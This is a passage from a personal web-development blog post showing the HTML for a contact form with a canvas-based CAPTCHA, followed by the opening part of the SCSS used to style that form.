</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">textarea</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;message&#34;</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;form-input&#34;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;message&#34;</span> <span style="color:#a6e22e">required</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;required&#34;</span> <span style="color:#a6e22e">aria-describedby</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;messageHelpBlock&#34;</span>&gt;Hi BLZR,&amp;#13;&amp;#10;&lt;/<span style="color:#f92672">textarea</span>&gt; 
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">span</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;messageHelpBlock&#34;</span>&gt;Enter your message/query (Required)&lt;/<span style="color:#f92672">span</span>&gt; 
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;captcha&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">canvas</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;captchaCanvas&#34;</span> <span style="color:#a6e22e">height</span><span style="color:#f92672">=</span><span style="color:#e6db74">80</span>&gt;Don&#39;t be a dork, Enable JavaScript&lt;/<span style="color:#f92672">canvas</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">button</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;refresh&#34;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;refresh&#34;</span> <span style="color:#a6e22e">onclick</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;generateCaptcha()&#34;</span>&gt;&amp;#128472;&lt;/<span style="color:#f92672">button</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;captchaText&#34;</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;form-input&#34;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;CAPTCHA&#34;</span> <span style="color:#a6e22e">placeholder</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Enter text above&#34;</span> <span style="color:#a6e22e">maxlength</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;7&#34;</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text&#34;</span> <span style="color:#a6e22e">required</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;required&#34;</span> <span style="color:#a6e22e">aria-describedby</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;CAPTCHAHelpBlock&#34;</span>&gt; 
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">span</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;CAPTCHAHelpBlock&#34;</span>&gt;CAPTCHA Test (Required)&lt;/<span style="color:#f92672">span</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;submit&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">button</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;submit&#34;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;submit&#34;</span> <span style="color:#a6e22e">onclick</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;sendMessage()&#34;</span>&gt;Send&lt;/<span style="color:#f92672">button</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">form</span>&gt;</span></span></code></pre></td></tr></table>
</div>
</div>
<h3 id="css-ify-that-shit">CSS-ify that shit</h3>
<p>Pretty simple Sass code to beautify my form. I am using a <a href="https://github.com/1bl4z3r/hermit-V2">theme</a> for my site, from which I am importing <code>_predefined.scss</code>. You can ignore that if you&rsquo;re not using the same.</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">  9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 24
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 25
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 26
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 27
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 28
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 29
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 30
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 31
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 32
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 33
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 34
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 35
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 36
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 37
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 38
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 39
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 40
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 41
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 42
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 43
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 44
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 45
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 46
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 47
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 48
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 49
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 50
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 51
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 52
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 53
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 54
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 55
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 56
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 57
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 58
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 59
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 60
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 61
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 62
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 63
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 64
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 65
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 66
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 67
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 68
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 69
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 70
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 71
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 72
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 73
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 74
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 75
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 76
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 77
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 78
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 79
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 80
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 81
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 82
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 83
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 84
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 85
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 86
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 87
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 88
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 89
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 90
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 91
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 92
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 93
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 94
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 95
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 96
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 97
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 98
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 99
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">100
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">101
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">102
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">103
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">104
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">105
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">106
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">107
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">108
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">109
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">110
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">111
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">112
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">113
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">114
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">115
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">116
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">117
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">118
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">119
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">120
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">121
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">122
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">123
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">124
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">125
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">126
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">127
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">128
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">129
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">130
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">131
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">132
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">133
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">134
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">135
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-scss" data-lang="scss"><span style="display:flex;"><span><span style="color:#66d9ef">@import</span> <span style="color:#e6db74">&#34;../scss/_predefined.scss&#34;</span>;
</span></span><span style="display:flex;"><span>$textColor<span style="color:#f92672">:</span> <span style="color:#ae81ff">#0062ff</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">.admonition</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">display</span><span style="color:#f92672">:</span> none;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">.monospace</span>{
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">font-family</span><span style="color:#f92672">:</span> monospace;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">.prevent</span>{
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">cursor</span><span style="color:#f92672">:</span> crosshair;
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">user-select</span><span style="color:#f92672">:</span> none;
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">-webkit-user-select</span><span style="color:#f92672">:</span> none;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">.formdisable</span>{
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">pointer-events</span><span style="color:#f92672">:</span>none;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">.contact-form</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">display</span><span style="color:#f92672">:</span> grid;
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">grid-template-columns</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">1</span><span style="color:#66d9ef">fr</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">grid-template-rows</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">1</span><span style="color:#66d9ef">fr</span> <span style="color:#ae81ff">1</span><span style="color:#66d9ef">fr</span> auto;
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">grid-auto-rows</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">1</span><span style="color:#66d9ef">fr</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">gap</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0</span><span style="color:#66d9ef">px</span> <span style="color:#ae81ff">0</span><span style="color:#66d9ef">px</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">grid-auto-flow</span><span style="color:#f92672">:</span> row;
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">grid-template-areas</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;message&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;captcha&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;submit&#34;</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">-webkit-box-shadow</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0</span><span style="color:#66d9ef">px</span> <span style="color:#ae81ff">0</span><span style="color:#66d9ef">px</span> <span style="color:#ae81ff">50</span><span style="color:#66d9ef">px</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span><span style="color:#66d9ef">px</span> $dark-grey;
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">-moz-box-shadow</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0</span><span style="color:#66d9ef">px</span> <span style="color:#ae81ff">0</span><span style="color:#66d9ef">px</span> <span style="color:#ae81ff">50</span><span style="color:#66d9ef">px</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span><span style="color:#66d9ef">px</span> $dark-grey;
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">box-shadow</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0</span><span style="color:#66d9ef">px</span> <span style="color:#ae81ff">0</span><span style="color:#66d9ef">px</span> <span style="color:#ae81ff">50</span><span style="color:#66d9ef">px</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span><span style="color:#66d9ef">px</span> $dark-grey;
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">-webkit-border-radius</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">10</span><span style="color:#66d9ef">px</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">-moz-border-radius</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">10</span><span style="color:#66d9ef">px</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">border-radius</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">10</span><span style="color:#66d9ef">px</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">&amp;</span> <span style="color:#f92672">*</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">font-family</span><span style="color:#f92672">:</span> monospace<span style="color:#f92672">,</span> monospace;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">font-size</span><span style="color:#f92672">:</span> large;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">&amp;</span> <span style="color:#f92672">input</span><span style="color:#f92672">,</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">textarea</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">padding</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">5</span><span style="color:#66d9ef">px</span>;
